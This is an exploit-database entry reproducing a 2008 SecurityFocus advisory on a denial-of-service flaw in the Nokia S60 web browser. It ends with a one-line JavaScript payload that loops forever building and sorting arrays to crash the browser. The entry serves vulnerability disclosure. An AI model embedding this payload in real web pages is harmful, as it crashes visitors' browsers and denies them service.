Nokia Web Browser for S60 - Infinite Array Sort Denial of Service

2008-10-10T00:00:00
ID EXPLOITPACK:0F64971DE98F2C9659C7935D53B27DE4
Type exploitpack
Reporter Luca Carettoni
Modified 2008-10-10T00:00:00

Description

Nokia Web Browser for S60 - Infinite Array Sort Denial of Service

                                        
                                            source: https://www.securityfocus.com/bid/31703/info

Nokia Web Browser for S60 is prone to a denial-of-service vulnerability when handling malicious HTML files.

A successful exploit of this issue allows remote attackers to consume excessive system resources in the affected browser, which will cause the application to crash and deny service to legitimate users. Attackers may also be able to run arbitrary code, but this has not been confirmed. 

<script> foo = new Array(); while(true) {foo = new Array(foo).sort();} </script>